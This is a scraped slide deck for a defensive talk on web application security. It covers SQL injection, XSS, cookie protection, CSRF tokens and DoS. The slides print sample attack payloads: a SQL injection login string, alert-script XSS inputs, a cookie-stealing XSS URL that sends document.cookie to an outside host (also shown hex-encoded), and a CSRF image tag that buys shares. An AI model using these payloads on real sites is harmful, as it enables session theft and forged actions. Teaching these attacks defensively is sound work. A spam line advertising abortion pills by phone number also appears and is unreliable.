+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 

Roberto Bicchierai - Defending web applications from attacks

  • 1. Defending web applications from attacks Roberto Bicchierai http://roberto.open-lab.com rbicchierai@open-lab.com
  • 2. “Web appsw.t.f.?” Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use) Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers) Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
  • 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
  • 4. Seems easy to say “security”… Classical branches: Hardware security Cryptography Identity
  • 5. Cryptography Every single byte you send can be read. SSL does not guarantee 100% and slows down your apps. Sniffing requires knowledge, software, hardware and physical access to wires.
  • 6. User identity Username/e-mail and password strength: “p455w0rD.” better than “password” or “p” avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!) try to avoid dictionary ones (record number of attempts!) never store passwords on your db The newdictionary: why “qazwsxedc” isnot so strong? OpenIDis a suitable alternative for some web apps. Biometrics are NOT. Datibiometrici (difficilmenteusabili)
  • 7. Did I miss something? My servers are in a fortress 3 firewall levels (and one dragon) I use 56 chars non-alpha pwd pwd expires every 10 days I use SSL 1024(128) bit encryption I hung blu velvet curtains to the windows
  • 8. Your app sucks! Injection Cookies XSS CSRF The problem is in the application…
  • 9. Injection: I don’t need a password! Earth 2010: lotsofapplications are still open to the classicalsqlinjectionvulnerability: jsmith a’ or ‘a’=‘a “select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ” DON’T
  • 10. Damned HTML… and your browsers 3 ingredients make web apps vulnerable: HTML was not for applications! But it is! (code injection is too easy) HTTP uses cookies for handling sessions Javascript, that is ubiquitous in a page (and reads cookies) butmainly browsers
  • 11. Remember me! Saltedcookies, saltedcookies! Usesalt and peppertohash login data. Do notmakethemreversible! md5(user.id+”hash”) md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
  • 12. Protectcookies! lost cookies = session stolen, now I’m you! Hard to recover! Quite “easy” to prevent use HttpOnly cookies restrict cookie’s scope by setting host, path, expiry encrypt data saved on cookies
  • 13. Injectionreloaded: aka XSS JSP-ASP example: notes: <textarea name=“notes”><%=note%></textarea> your name: <input type=”text” value=“<%=yourName%>”> <%=yourName%> notes: </textarea><script>alert(“you stink!”)</script> your name: john “> <script>alert(“I can do everything!”)</script> thisis the basicsofXSS
  • 14. XSS How I’llgetyourcookies: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
  • 15. XSS: encodeuserinputs Do not think it’s easy: if (userInputs.contains(“<script>”)) killTheUser(); itdoesn’t work! http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e Do yourecognizethis? Itis the same script! Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
  • 16. XSS: encodeuserinputs The safest solution? Limit user inputs to plain text Html encode every single field http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt; Sweet dreams! This is always safe!
  • 17.
  • 20.
  • 21. XSS: test yourpages There are about 150 different XSS exploits! Test inputs using examples on http://ha.ckers.org/xss.html with different browsers and versions. Use XSSme plugin for FireFox.
  • 22. Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing? Everytime? click here next target: Cross Site Request Forgery
  • 23. CSRF: howdoesit work? John is authenticated on site A. e.g.: stoks.example.com John visit the site B reading news: hotStoksNews.goodboy.com B contains the CSRF attack to site A e.g.: <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”> John is now an happy owner of 1000 KRAK shares!
  • 24. CSRF: protectyourapp There aren’t many solutions: Server-side Generated Tokens!
  • 25. CSRF & Tokens: howto your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
  • 26. CSRF & Tokens Cons: reloading a page (F5) will generate “invalid token error” if a page has different entry points token generation may be annoying Pros: safe safe safe
  • 27. API: a newenemy? REST, JSON, XML API are not evil in themself, but: there is no “standard” authentication when used with JS clients this may reveal the user key you are exposing new ways for xss and csrf
  • 28. DoS: Denialof Service DoS protocol level: nothing to do… use intelligent gateways/router DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions Use session-less pages until authentication “DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
  • 29. Yourapprocks! use strong passwords keep data in safe place do not store user’s passwords salt and pepper everywhere use SSL use Httponly cookies encode user inputs or sanitize them use server-side tokens for critical actions expose a read-only API
  • 31. Thank you! Now: Q&A a startingpointwith a collectionof security relatedlinks: http://delicious.com/robicch/security my Java sanitizer: http://roberto.open-lab.com